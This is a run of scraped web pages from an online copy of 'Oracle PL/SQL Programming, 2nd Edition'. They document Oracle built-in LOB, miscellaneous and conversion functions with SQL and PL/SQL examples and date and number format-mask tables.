You can use BFILENAME in SQL INSERT and UPDATE statements. You can also use it to initialize a BFILE locator in a PL/SQL program. Here are examples of both usages:

UPDATE school_report
   SET photo_op =
       BFILENAME ('projects', 'grasshoppers.atwork')
 WHERE title = 'REPRODUCTIVE CYCLES OF BUGS';

DECLARE
   pricelist BFILE;
BEGIN
   /* Now this is a BIG file. */
   pricelist := BFILENAME ('OraclePrices', '1997.all');

The BFILENAME function does not validate that the user has READ privileges on the specified file or directory alias. It also does not perform a physical check to see if the directory or file actually exist. Instead, these checks are performed when access against the BFILE object is attempted.

There are several issues to keep in mind with directory aliases:

  • An alias is a database object, an "internal" name for an external, filesystem-based directory location.

  • You must create a directory alias before you can use it.

  • To create a directory alias, you will need the CREATE DIRECTORY or CREATE ANY DIRECTORY privileges.

  • To access a directory alias, you must be the owner or be granted the READ privilege on that alias.

  • Directory aliases can be case-sensitive!

Let's step through the creation and use of several directory aliases to drive home these points. Suppose I want to let the SCOTT account create directory aliases. I will connect to my DBA account and grant the privilege:

SQL> GRANT CREATE DIRECTORY TO SCOTT;

Then, connecting as SCOTT, I will create two directory aliases:

SQL> CREATE DIRECTORY projects AS 'm:\school\projects';
SQL> CREATE DIRECTORY "OraclePrices" AS '/oracle/prices';

Notice the double quotes around OraclePrices. By taking this approach, I have requested that this directory alias be stored in the database with mixed case. The PROJECTS directory alias, on the other hand, has been defined in the database using the default, uppercase method.

I want to let anyone access the OraclePrices directory, but let only ELI access the projects directory:

SQL> GRANT READ ON DIRECTORY projects TO SCOTT;
Grant succeeded.
SQL> GRANT READ ON DIRECTORY OraclePrices TO PUBLIC;
GRANT READ ON DIRECTORY OraclePrices TO PUBLIC;
                        *
ERROR at line 1:
ORA-22930: directory does not exist

What went wrong? I did not put double quotes around OraclePrices, so Oracle converted the identifier to uppercase and then could not find a match inside the ALL_DIRECTORIES data dictionary view.

Once I have defined the directory in mixed case, I need to continue to use the double quotes in my DDL statements for those statements to succeed. Within SQL DML and PL/SQL, the situation is a little bit different. When you call BFILENAME, you pass in a directory alias, either as an identifier or as a literal. In the call to BFILENAME, the case used to set that directory alias must match the case originally used to define the directory alias.

The following INSERT statement correctly identifies the OraclePrices alias:

INSERT INTO sw_budget
   (item_desc, price, source_lob)
VALUES
   ('ORACLE8', a_bargain, BFILENAME ('OraclePrices', '1997.rdbms');

where a_bargain is a PL/SQL variable previously defined and set.

The following PL/SQL block incorrectly defines the projects directory alias:

DECLARE
   projects_dir VARCHAR2(30) := 'projects'; -- lower case!
   ants_scurrying BFILE;
BEGIN
   ants_scurrying := BFILENAME (projects_dir, 'ants_building.hill');

   /* FILEOPEN will fail because BFILE locator is NULL. */
   DBMS_LOB.FILEOPEN (ants_scurrying);
BEGIN

I have passed in a lowercase "projects", but the directory alias has been set to uppercase since I did not surround the directory alias name in double quotes in the CREATE DIRECTORY statement. This behavior differs from much of the rest of PL/SQL's interaction with the data dictionary. Usually, all names passed in for data dictionary access are by default uppercased. You will need to be careful how you define directory aliases and then reference them in your code.

13.2.2 The EMPTY_BLOB function

The EMPTY_BLOB function returns an empty locator of type BLOB (binary large object). The specification for the EMPTY_BLOB function is:

FUNCTION EMPTY_BLOB RETURN BLOB;

You can call this function without any parentheses or with an empty pair. Here are some examples:

INSERT INTO family_member (name, photo)
   VALUES ('Steven Feuerstein', EMPTY_BLOB());

DECLARE
   my_photo BLOB := EMPTY_BLOB;
BEGIN

Use EMPTY_BLOB to initialize a BLOB to "empty." Before you can work with a BLOB, either to reference it in SQL DML statements such as INSERTs or to assign it a value in PL/SQL, it must contain a locator. It cannot be NULL. The locator might point to an empty BLOB value, but it will be a valid BLOB locator.

13.2.3 The EMPTY_CLOB function

The EMPTY_CLOB function returns an empty locator of type CLOB. The specification for the EMPTY_CLOB function is:

FUNCTION EMPTY_CLOB RETURN CLOB;

You can call this function without any parentheses or with an empty pair. Here are some examples:

INSERT INTO diary (entry, text) VALUES (SYSDATE, EMPTY_CLOB());

DECLARE
   the_big_novel CLOB := EMPTY_CLOB;
BEGIN

Use EMPTY_CLOB to initialize a CLOB to "empty". Before you can work with a CLOB, either to reference it in SQL DML statements such as INSERTs or to assign it a value in PL/SQL, it must contain a locator. It cannot be NULL. The locator might point to an empty CLOB value, but it will be a valid CLOB locator.

Previous: 13.1 Numeric Function Descriptions | Oracle PL/SQL Programming, 2nd Edition | Next: 13.3 Miscellaneous Function Descriptions
13.1 Numeric Function Descriptions | Book Index | 13.3 Miscellaneous Function Descriptions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 13] 13.3 Miscellaneous Function Descriptions

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

13.3 Miscellaneous Function Descriptions

The following sections briefly describe the miscellaneous PL/SQL functions; these are functions that do not fall naturally into particular datatype categories.

13.3.1 The DUMP function

The DUMP function "dumps," or returns, the internal representation of the input expression. DUMP is an overloaded function, as is shown by its specification:

FUNCTION DUMP (expr_in DATE
    [, return_format_in BINARY_INTEGER
    [, start_position_in BINARY_INTEGER
    [, length_in BINARY_INTEGER
   )
RETURN VARCHAR2

FUNCTION DUMP (expr_in NUMBER
    [, return_format_in BINARY_INTEGER
    [, start_position_in BINARY_INTEGER
    [, length_in BINARY_INTEGER
   )
RETURN VARCHAR2

FUNCTION DUMP (expr_in VARCHAR2
    [, return_format_in BINARY_INTEGER
    [, start_position_in BINARY_INTEGER
    [, length_in BINARY_INTEGER
   )
RETURN VARCHAR2

where expr_in is the expression to be dumped, return_format_in is a numeric code specifying the format of the returned string, start_position_in is the starting position of the portion of the internal representation to be returned, and length_in is the length of the portion to be returned. The starting position and length arguments perform the same way as in the SUBSTR function described in Chapter 11, Character Functions.

Valid return format numbers are:

8 Returns result in octal notation
10 Returns result in decimal notation
16 Returns result in hexadecimal notation
17 Returns result as individual characters

The default for the return format is 10 (decimal), the default for the starting position is 1, and the default for length is the full length of the value. So, a fully default call to DUMP will return the full internal representation in decimal notation.

If expr_in IS NULL, then DUMP returns NULL.

13.3.2 The GREATEST function

The GREATEST function evaluates a list of values and returns the greatest value in that list. (The LEAST function, discussed below, returns the least value.) GREATEST accepts two or more arguments, and there is no upper limit on the number of values you can pass to GREATEST, which makes it especially useful. The specification for GREATEST is:

FUNCTION GREATEST (expr1, expr2 [, expr3 ...) RETURN DATE
FUNCTION GREATEST (expr1, expr2 [, expr3 ...) RETURN VARCHAR2
FUNCTION GREATEST (expr1, expr2 [, expr3 ...) RETURN NUMBER

The datatype of the return value of the GREATEST function is determined by the datatype of the first expression (expr1) in the list. In addition, PL/SQL must convert all the additional expressions in the list (expr2, expr3, and so on) to the same datatype as expr1, so they must all be compatible.

This example finds the greatest (most recent) of three dates:

GREATEST (SYSDATE, :emp.hire_date, '13-JAN-1994')

My first expression is a call to the SYSDATE function. My second expression is an Oracle Forms item of type DATE. My third expression is a literal string. This string is converted to a date by PL/SQL with an internal call to TO_DATE. The comparison of the values then proceeds.

The next example finds the greatest (last in alphabetical order) of two strings:

GREATEST (SUBSTR (text_chunk, INSTR (text_chunk, ';') + 1),
          last_command_entered)

The first expression is comprised of nested calls first to SUBSTR and then to INSTR, to find that part of the text_chunk variables that comes after the first semicolon (;).

13.3.3 The LEAST function

The LEAST function, the opposite of the GREATEST function, evaluates a list of values and returns the least value in that list. LEAST accepts two or more arguments; there is no upper limit on the number of values you can pass to LEAST, which makes it especially useful. The specification for LEAST is as follows:

FUNCTION LEAST (expr1, expr2 [, expr3 ...) RETURN DATE
FUNCTION LEAST (expr1, expr2 [, expr3 ...) RETURN VARCHAR2
FUNCTION LEAST (expr1, expr2 [, expr3 ...) RETURN NUMBER

The datatype of the return value of the LEAST function is determined by the datatype of the first expression (expr1) in the list. In addition, PL/SQL must convert all the additional expressions in the list (expr2, expr3, and so on) to the same datatype as expr1, so they must all be compatible.

13.3.4 The NVL function

The NVL function offers a concise way to return or substitute a non-NULL value if the specified value is NULL. You can think of NVL as an abbreviation for "if Null VaLue, then return X." The NVL function is massively overloaded because any type of data can also have a NULL value. Here is the specification:

FUNCTION NVL (string_in IN CHAR, replace_with_in IN CHAR)
   RETURN CHAR
FUNCTION NVL (string_in IN VARCHAR2, replace_with_in IN VARCHAR2)
   RETURN VARCHAR2
FUNCTION NVL (date_in IN DATE, replace_with_in IN DATE)
   RETURN DATE
FUNCTION NVL (date_in IN NUMBER, replace_with_in IN DATE)
   RETURN NUMBER
FUNCTION NVL (date_in IN CHAR, replace_with_in IN DATE)
   RETURN BOOLEAN

Note that the CHAR version of NVL also returns a CHAR, or fixed-length, value.

For dates, if date_in is NOT NULL, then return date_in; otherwise, return replace_with_in. The NVL function in this case is therefore equivalent to the following IF statement:

IF date_in IS NOT NULL
THEN
   RETURN date_in;
ELSE
   RETURN replace_with_in;
END IF;

NVL simply provides a much cleaner and more concise way of coding this functionality. And since it is a function, you can call it inline to provide substitution of NULL values where such a state of data would disrupt your program. For example, if you calculate the total compensation of an employee as salary plus compensation, then the expression:

salary + commission

will be NULL when commission is NULL. With NVL, however, you can be sure that the calculated value will make sense:

salary + NVL (commission, 0)

The next two examples show some other ways to use the NVL function:

  • Check all IN parameters of a procedure and convert NULL values to in the default value setting of the declarations of local variable copies of the parameters:

    PROCEDURE no_nulls_allowed (number1_in IN NUMBER, number2_in IN NUMBER)
IS
   local_number1 NUMBER := NVL (number1_in, 0);
   local_number2 NUMBER := NVL (number2_in, 0);
BEGIN
   ...
END;

  • After fetching the employee information from the database, return the employee's commission as 0 whenever it is NULL.

    DECLARE
   CURSOR emp_cur IS
      SELECT first_name, last_name, salary, NVL (commission, 0)
         commission
      FROM employee
      WHERE employee_id = :emp.employee_id;
BEGIN
   ...
END;

13.3.5 The SQLCODE function

The SQLCODE function returns the number of the exception raised by PL/SQL. The specification for this function is:

FUNCTION SQLCODE RETURN INTEGER

SQLCODE returns values as follows:

  • If you reference SQLCODE outside of an exception section, it always returns 0, which means normal, successful completion.

  • If you explicitly raise your own user-defined exception, then SQLCODE returns a value of +1.

  • If PL/SQL raises the NO_DATA_FOUND exception, then SQLCODE returns a value of +100.

  • In all other cases, SQLCODE returns a negative value. In other words, if you try to convert a date to a string with TO_CHAR and use the wrong format mask, you might encounter the following error message:

    ORA-01830: date format picture ends before converting entire input string

    In this case, SQLCODE returns a value of -1830.

You will find SQLCODE and its sibling function, SQLERRM, most useful in the WHEN OTHERS exception handler. If an error is trapped by WHEN OTHERS, you do not know which exception was raised or which error was encountered. You can, however, use SQLCODE to find out, as shown in this example:

EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      MESSAGE ('No match found for entry!');

   WHEN OTHERS
   THEN
      MESSAGE
         ('Error ' || TO_CHAR (SQLCODE) || ': ' ||
          SQLERRM);
END;

13.3.6 The SQLERRM function

The SQLERRM returns the error message associated with the specified code. The specification for this function is:

FUNCTION SQLERRM (code_in IN INTEGER := SQLCODE) RETURN VARCHAR2

If you do not provide an error code when you call SQLERRM, it uses the value returned by SQLCODE (see the preceding section). If SQLCODE returns 0, then SQLERRM returns the following message:

ORA-0000; normal, successful completion

If PL/SQL has raised an internal Oracle error or you pass a negative value to SQLERRM, then the function returns the error message provided by Oracle Corporation. If you pass (or allow SQLCODE to pass) a value of +100 to SQLERRM, it returns this message:

ORA-01403: no data found

Any other positive value passed to SQLERRM will result in this message:

User-Defined Exception

The maximum length of a message returned by SQLERRM is 512 bytes. This length includes the error code and all nested messages that may have been flagged by the compiler.

13.3.7 The UID function

The UID function returns an integer that uniquely identifies the current user. This integer is generated by the Oracle RDBMS when a user connects to the database. The specification for UID is as follows:

FUNCTION UID RETURN NUMBER

When called inline, the UID function looks like a variable since it has no arguments. Remember that when you call UID you will actually issue a SQL call to the RDBMS to extract the UID information for the user. Furthermore, in a distributed SQL statement, the UID always returns the value identifying the user on the local database. You cannot obtain the UID for connections to other, remote databases.

13.3.8 The USER function

The USER function returns the name of the current account. The specification for USER is as follows:

FUNCTION USER RETURN VARCHAR2

Like UID, when called inline, the USER function looks like a variable since it has no arguments. Remember that when you call USER you actually issue a SQL call to the RDBMS to extract the account name for the user. Furthermore, in a distributed SQL statement, the USER always returns the value identifying the user on the local database. You cannot obtain the USER for connections to other, remote databases.

The most common use for the USER function is to initialize an application session with configuration for a user.

Most of the applications I build have a system configuration table (with one row for each system or application) and a separate user configuration table (with one row for each user in each application). This user configuration table might have the following columns:

RDBMS account name

The name of the Oracle account, which matches the value returned by USER.

User name

The actual name of the user, as in: STEVEN FEUERSTEIN.

Business data

Information about the user that relates to the business of the application, such as the user's department and default printer.

Preference data

Information about the preferences of the user, such as "Display Toolbar" or "Automatically pop up a list of values boxes."

Assuming an Oracle Forms-based set of screens, each screen the user is able to enter from a Windows icon will contain a When-New-Form-Instance trigger. This trigger calls a procedure to transfer the information from the user configuration table to GLOBAL variables that are then available to all screens for the duration of the session. A sample initialization procedure follows:

PROCEDURE configure_user_globals
IS
   /*
   || I identify the row from the configuration table using the
   || USER function provided by PL/SQL.
   */
   CURSOR user_cur IS
      SELECT username, default_printer, toolbar_status, ... etc ...
        FROM user_configuration
       WHERE user_account_name = USER;
BEGIN

   OPEN user_cur;
   FETCH user_cur INTO
      :GLOBAL.username, :GLOBAL.default_printer ... etc ...;
   IF user_cur%NOTFOUND
   THEN
      CLOSE user_cur;
      MESSAGE (' You are not authorized to run this screen!');
      RAISE FORM_TRIGGER_FAILURE;
   ELSE
      CLOSE user_cur;
   END IF;

END configure_user_globals;

13.3.9 The USERENV function

The USERENV function returns information about the current user session or environment. The specification for USERENV is as follows:

FUNCTION USERENV (info_type_in IN VARCHAR2) RETURN VARCHAR2

where info_type_in can be one of these values (specified in a named constant or a literal string in single quotes). The following list gives options and descriptions of what they return:

ENTRYID

An auditing entry identifier

LANGUAGE

The language, territory, and character set used by your session. The value is returned in this format: language_territory.characterset

SESSIONID

An auditing session identifier

TERMINAL

The operating system identifier for your current session's terminal. The format of this information will clearly be dependent on your underlying operating system.

13.3.10 The VSIZE function

The VSIZE function returns the number of bytes used by the internal representation of the input expression. The specification for VSIZE is:

FUNCTION VSIZE (expr_in IN DATE) RETURN NUMBER
FUNCTION VSIZE (expr_in IN VARCHAR2) RETURN NUMBER
FUNCTION VSIZE (expr_in IN NUMBER) RETURN NUMBER
FUNCTION VSIZE (expr_in IN CHAR) RETURN NUMBER

If the expression is NULL, then VSIZE returns NULL.

I am not sure when I would use this function in a program, but it comes in very handy when I get a call like this on the phone: "How many bytes does a date value take up in the database?" I could try to remember the answer (it sure seems like something I once knew). I could try to hunt down the answer in one of the many database administration manuals from Oracle, or I could execute the following SQL statement:

SQL> SELECT VSIZE (hiredate) FROM emp WHERE ROWNUM=1

VSIZE(HIREDATE)
---------------
              7

I included the WHERE clause for ROWNUM equal to 1 so that I would receive the answer (7 bytes) only once. Otherwise, I would have had the "opportunity" to learn that the VSIZE of hiredate is 7 -- for every record in the emp table.

Interestingly, if you apply VSIZE to the SYSDATE function, you get a slightly different answer:

SQL> SELECT VSIZE (SYSDATE) FROM dual;

VSIZE(SYSDATE)
--------------
             8

Previous: 13.2 LOB Function Descriptions | Oracle PL/SQL Programming, 2nd Edition | Next: 14. Conversion Functions
13.2 LOB Function Descriptions | Book Index | 14. Conversion Functions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 14] Conversion Functions

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 13.3 Miscellaneous Function Descriptions Chapter 14 Next: 14.2 Conversion Function Descriptions

14. Conversion Functions

Contents:
Conversion Formats
Conversion Function Descriptions
Conversion Function Examples

Whenever PL/SQL performs an operation involving one or more values, it must first convert the data to be the right datatype for the operation. As Chapter 4, Variables and Program Data, describes, there are two kinds of conversion: implicit and explicit. An implicit conversion is performed by PL/SQL as needed to execute a statement. An explicit conversion takes place when you use a built-in conversion function to force the conversion of a value from one datatype to another. This chapter describes each of these functions.

If you do not use a conversion function to explicitly convert your data, or if you do use those functions and additional conversion is still needed, PL/SQL attempts to convert the data implicitly to the datatypes needed to perform the operation. I recommend that you avoid allowing either the SQL or PL/SQL languages to perform implicit conversions on your behalf. Whenever possible, use a conversion function to guarantee that the right kind of conversion takes place. Implicit conversion has a number of drawbacks, summarized in Section 4.2.8.2, "Implicit data conversions" in Chapter 4.

Explicit conversions help you to avoid unpleasant surprises, maximize performance, and make your code more self-documenting. When you perform an explicit conversion involving dates or numbers (using TO_CHAR, TO_DATE, or TO_NUMBER), you can specify a conversion format mask. PL/SQL uses this mask to either interpret the input value or format the output value.

Table 14.1 summarizes the PL/SQL conversion functions described in this chapter.

Table 14.1: The Built-In Conversion Functions
Name | Description
CHARTOROWID | Converts a string to a ROWID.
CONVERT | Converts a string from one character set to another.
HEXTORAW | Converts from hexadecimal to raw format.
RAWTOHEX | Converts from raw value to hexadecimal.
ROWIDTOCHAR | Converts a binary ROWID value to a character string.
TO_CHAR | Converts a number or date to a string.
TO_DATE | Converts a string to a date.
TO_NUMBER | Converts a string to a number.

14.1 Conversion Formats

Several of the conversion functions (TO_CHAR, TO_DATE, and TO_NUMBER) use format models to determine the format of the converted data. Format models convert between strings and dates, and strings and numbers. This section discusses these format models, which are then put to use in the function descriptions.

14.1.1 Date Format Models

In Versions 6 and earlier of the Oracle RDBMS, the default format for dates as character values was DD-MON-YY, a cause of consternation for many developers and users. While this format is common in many parts of the world, very few people use it in the United States.

With Oracle7 you can specify your own default date format (which takes effect on the initialization or startup of the RDBMS instance) with the NLS_DATE_FORMAT[1] parameter as follows:

[1] NLS is an abbreviation for National Language Support.

NLS_DATE_FORMAT = `MM/DD/YYYY'

The default date format is also set implicitly with another initialization parameter, NLS_TERRITORY. When you specify an NLS_TERRITORY value, you set conventions for date format, date language, numeric formats, currency symbols, and week start day.

Even with this flexibility, the database still supports only a single default date format in a given instance. Both developers and users must be aware of this format when working with dates. Later sections of this chapter explore approaches in PL/SQL that give the user much more flexibility when entering dates in their applications.

As you can see, format masks (such as MMDDYY and Month DD, YYYY) play an important role in the conversion of date and character data. Table 14.2 provides the full set of date format masks and explains how to use them in all their variations. You can use the format elements in any combination, in any order. You can even use the same format element more than once in your format mask. Following the table are examples showing these variations.

Table 14.2: Date Format Model Elements
Mask | Description
SCC or CC | The century. If the SCC format is used, any B.C. dates are prefaced with a hyphen (-).
SYYYY or YYYY | The four-digit year. If the SYYYY format is used, any B.C. dates are prefaced with a hyphen (-).
IYYY | The four-digit ISO standard year.
YYY or YY or Y | The last three, two, or one digits of the year. The current century is the default.
IYY or IY or I | The last three, two, or one digits of the ISO standard year. The current century is the default.
Y,YYY | The four-digit year with a comma.
SYEAR or YEAR or SYear or Year | The year spelled out. The S prefix places a negative sign in front of B.C. dates.
RR | The last two digits of the year. This format is used to display years in centuries other than our own. See Section 14.3.3, "RR: Changing Millenia".
BC or AD | The B.C. or A.D. indicator, without periods.
B.C. or A.D. | The B.C. or A.D. indicator, with periods.
Q | The quarter of the year, from 1 through 4. January through March are in the first quarter, April through June in second quarter, etc.
MM | The number of the month in the year, from 01 through 12. January is month number 01, September is 09, etc.
RM | The Roman numeral representation of the month number, from I through XII. January is I, September is IX, etc.
MONTH or Month | The name of the month, either in upper- or mixed-case format.
MON or Mon | The abbreviated name of the month, as in JAN for January.
WW | The week in the year, from 1 through 53.
IW | The week in the year, from 1 through 52 or 1 through 53, based on the ISO standard.
W | The week in the month, from 1 through 5. Week 1 starts on the first day of the month and ends on the seventh.
DDD | The day in the year, from 1 through 366.
DD | The day in the month, from 1 through 31.
D | The day in the week, from 1 through 7. The day of the week that is decreed the first day is specified implicitly by the NLS_TERRITORY initialization parameter for the database instance.
DAY or Day | The name of the day in upper- or mixed-case format.
DY | The abbreviated name of the day, as in TUE for Tuesday.
J | The Julian day format of the date (counted as the number of days since January 1, 4712 B.C., the earliest date supported by the Oracle RDBMS).
AM or PM | The meridian indicator (morning or evening) without periods.
A.M. or P.M. | The meridian indicator (morning or evening) with periods.
HH or HH12 | The hour in the day, from 1 through 12.
HH24 | The hour in the day, from 0 through 23.
MI | The minutes component of the date's time, from 0 through 59.
SS | The seconds component of the date's time, from 0 through 59.
SSSSS | The number of seconds since midnight of the time component. Values range from 1 through 86399, with each hour comprising 3600 seconds.
TH | Suffix which converts a number to its ordinal format; for example, 4 becomes 4th and 1 becomes 1st. This element can appear only at the end of the entire format mask. The return value is always in English, regardless of the date language.
SP | Suffix which converts a number to its spelled format; for example, 4 becomes FOUR, 1 becomes ONE, and 221 becomes TWO HUNDRED TWENTY-ONE. This element can appear only at the end of the entire format mask. The return value is always in English, regardless of the date language.
SPTH | Suffix which converts a number to its spelled and ordinal format; for example, 4 becomes FOURTH and 1 becomes FIRST. This element can appear only at the end of the entire format mask. The return value is always in English, regardless of the date language.
FX | Element which requires exact pattern matching between data and format model. (FX stands for Format eXact.)
FM | Element which toggles suppression of blanks in output from conversion. (FM stands for Fill Mode.)
Other text | Any punctuation, such as a comma (,) or slash (/) or hyphen (-), will be reproduced in the formatted output of the conversion. You can also include text within double quotes (") and this text will then be represented as entered in the converted value. See examples in TO_CHAR for an illustration of this element.

Note that whenever a date format returns a spelled value (words rather than numbers, as with MONTH, MON, DAY, DY, AM, and PM), the language used to spell these words is determined by the National Language Support parameters, NLS_DATE_LANGUAGE and NLS_LANGUAGE, or by the optional date language argument you can pass to both TO_CHAR and TO_DATE.

Here are some examples of date format masks composed of the above format elements:

'Month DD, YYYY'
'MM/DD/YY Day A.M.'
'Year Month Day HH24:MI:SS'
'J'
'SSSSS-YYYY-MM-DD'
'"A beautiful summer morning on the" DDth" day of "Month'

See the description of the TO_CHAR and TO_DATE functions for more examples of the use and resulting values of these masks.

14.1.2 Number Format Models

The number formats are used in both TO_CHAR and TO_NUMBER. The number format in TO_CHAR translates a numeric value to a VARCHAR2 datatype. The number format in TO_NUMBER translates a VARCHAR2 value to a numeric datatype.

A number format mask can comprise one or more elements from Table 14.3. The resulting format of the character string (or the converted numeric value) will reflect the combination of the format elements. You will find examples of different applications of the format models in the descriptions of both the TO_CHAR and TO_NUMBER functions.

Format elements with a description starting with "Prefix:" can be used only at the beginning of the complete format mask. Format elements with a description starting with "Suffix:" can be used only at the end of the complete format mask.

Table 14.3: Number Format Model Elements
Format Elements | Description
9 | Each 9 represents a significant digit to be returned. Leading zeros in a number are displayed or treated as blanks.
0 | Each represents a significant digit to be returned. Leading zeros in a number are displayed or treated as zeros.
$ | Prefix: puts a dollar sign in front of the number.
B | Prefix: returns a zero value as blanks, even if the format element was used to show a leading zero.
MI | Suffix: places a minus sign (-) after the number if it is negative. For positive values it returns a trailing space, which is different from NULL.
S | Prefix: places a plus sign (+) in front of a positive number and a minus sign (-) before a negative number.
PR | Suffix: places angle brackets (< and >) around a negative value. For positive values it places leading and trailing spaces around the number.
D | Specifies the location of the decimal point in the returned value. All format elements to the left of the D will format the integer component of the value. All format elements to the right of the D will format the fractional part of the value. The character used for the decimal character is determined by the database initialization parameter NLS_NUMERIC_CHARACTERS.
G | Specifies the location of the group separator (for example, a comma to separate thousands as in 6,734) in the returned value. The character used for the group separator is determined by the database initialization parameter NLS_NUMERIC_CHARACTERS.
C | Specifies the location of the ISO currency symbol in the returned value.
L | Specifies the location of the local currency symbol (such as $) in the returned value.
, (comma) | Specifies that a comma be returned in that location in the return value.
. (period) | Specifies that a period be returned in that location in the return value.
V | Multiplies the number to the left of the V in the format model by 10 raised to the nth power, where n is the number of 9s found after the V in the format model.
EEEE | Suffix: specifies that the value be returned in scientific notation.
RN or rn | Specifies that the return value be converted to upper- or lowercase Roman numerals. The range of valid numbers for conversion to Roman numerals is between 1 and 3999. The value must be an integer.

Here are some examples of numeric format masks built from these elements:

9.999EEEE
00V99
S9,999,999
00009MI
999D99
9G999G999
L999.99

Previous: 13.3 Miscellaneous Function Descriptions | Oracle PL/SQL Programming, 2nd Edition | Next: 14.2 Conversion Function Descriptions
13.3 Miscellaneous Function Descriptions | Book Index | 14.2 Conversion Function Descriptions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 14] 14.2 Conversion Function Descriptions

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

14.2 Conversion Function Descriptions

This section describes the various conversion functions provided by PL/SQL.

14.2.1 The CHARTOROWID function

The CHARTOROWID function converts a string of either type CHAR or VARCHAR2 to a value of type ROWID. The specification of the CHARTOROWID function is:

FUNCTION CHARTOROWID (string_in IN CHAR) RETURN ROWID
FUNCTION CHARTOROWID (string_in IN VARCHAR2) RETURN ROWID

In order for CHARTOROWID to successfully convert the string, it must be of the format:

BBBBBBBB.RRRR.FFFF

where BBBBBBBB is the number of the block in the database file, RRRR is the number of the row in the block, and FFFF is the number of the database file. All three numbers must be in hexadecimal format.

If the input string does not conform to the above format, PL/SQL raises the VALUE_ERROR exception.

14.2.2 The CONVERT function

The CONVERT function converts strings from one character set to another character set. The specification of the CONVERT function is:

FUNCTION CONVERT
   (string_in IN VARCHAR2,
    new_char_set VARCHAR2
    [, old_char_set VARCHAR2])
RETURN VARCHAR2

The old_char_set is an optional argument. If this third argument is not specified, then the default character set for the database instance is used.

The CONVERT function does not translate words or phrases from one language to another! CONVERT simply substitutes the letter or symbol in one character set with the corresponding letter or symbol in another character set. (A character set is not the same thing as a human language.)

Two commonly used character sets are US7ASCII (U.S. 7-bit ASCII character set) and F7DEC (DEC French 7-bit character set).

14.2.3 The HEXTORAW function

The HEXTORAW function converts a hexadecimal string from type CHAR or VARCHAR2 to type RAW. The specification of the HEXTORAW function is:

FUNCTION HEXTORAW (string_in IN CHAR) RETURN RAW
FUNCTION HEXTORAW (string_in IN VARCHAR2) RETURN RAW

14.2.4 The RAWTOHEX function

The RAWTOHEX function converts a value from type RAW to a hexadecimal string of type VARCHAR2. The specification of the RAWTOHEX function is:

FUNCTION RAWTOHEX (binary_value_in IN RAW) RETURN VARCHAR2

RAWTOHEX always returns a variable-length string value, even if its mirror conversion function is overloaded to support both types of input.

14.2.5 The ROWIDTOCHAR function

The ROWIDTOCHAR function converts a binary value of type ROWID to a string of type VARCHAR2. The specification of the ROWIDTOCHAR function is:

FUNCTION ROWIDTOCHAR (row_in IN ROWID ) RETURN VARCHAR2

The string returned by this function has the format:

BBBBBBBB.RRRR.FFFF

where BBBBBBBB is the number of the block in the database file, RRRR is the number of the row in the block, and FFFF is the number of the database file. All three numbers are in hexadecimal format.

14.2.6 The TO_CHAR function (date conversion)

The TO_CHAR function can be used to convert both dates and numbers to a variable-length string. The following specification describes TO_CHAR for dates:

FUNCTION TO_CHAR
   (date_in IN DATE
    [, format_mask IN VARCHAR2
    [, nls_language IN VARCHAR2]])
RETURN VARCHAR2

where date_in is the date to be converted to character format, the format_mask is the mask made up of one or more of the date format elements, and nls_language is a string specifying a date language. Both the format mask and the NLS language parameters are optional.

If the format mask is not specified, then the default date format for the database instance is used. This format is DD-MON-YY, unless the initialization parameter NLS_DATE_FORMAT is included in the initialization file. The format of the specification of an alternative date mask is:

NLS_DATE_FORMAT = 'MM/DD/YYYY'

If the NLS language parameter is not specified, then the default date language for the instance is used. This is either the language for the instance specified by the NLS_LANGUAGE parameter, or the date language specified in the initialization file with the parameter NLS_DATE_LANGUAGE. Note that if you want to specify a date language, you also must include a format mask. You cannot skip over the intervening parameters.

Here are some examples of TO_CHAR for date conversion:

  • Notice that there are two blanks between month and day and a leading zero for the fifth day:

    TO_CHAR (SYSDATE, 'Month DD, YYYY') ==> 'February  05, 1994'

  • Use the FM fill mode element to suppress blanks and zeros:

    TO_CHAR (SYSDATE, 'FMMonth DD, YYYY') ==> 'February 5, 1994'

  • Note the case difference on the month abbreviations of the next two samples. You get exactly what you ask for with Oracle date formats!

    TO_CHAR (SYSDATE, 'MON DDth, YYYY') ==> 'FEB 05th, 1994'
TO_CHAR (SYSDATE, 'fmMon DDth, YYYY') ==> 'Feb 5th, 1994'

  • Show the day of year, the month, and the week for the date:

    TO_CHAR (SYSDATE, 'DDD DD D ') ==> '036 05 7'
TO_CHAR (SYSDATE, 'fmDDD DD D ') ==> '36 5 7'

  • Some fancy formatting for reporting purposes:

    TO_CHAR (SYSDATE, '"In month "RM" of year "YEAR')
==>
   'In month II   of year NINETEEN NINETY FOUR'

14.2.7 The TO_CHAR function (number conversion)

The TO_CHAR function converts numbers as well as dates. The specification of the TO_CHAR (number) function is:

FUNCTION TO_CHAR
   (number_in IN NUMBER
    [, format_mask IN VARCHAR2
    [, nls_language IN VARCHAR2]])
RETURN VARCHAR2;

where number_in is the number to be converted to character format, the format_mask is the mask made up of one of more of the number format elements, and nls_language is a string specifying one or more of the NLS parameters which affect the way numbers are displayed. Both the format mask and the NLS language parameters are optional.

If the format mask is not specified, then the default number format for the database instance is used.

Here are some examples of TO_CHAR for number conversion:

TO_CHAR (564.70, '$999.9') ==>  $564.7
TO_CHAR (564.70, '$0000999.9') ==> $0000564.7

14.2.8 The TO_DATE function

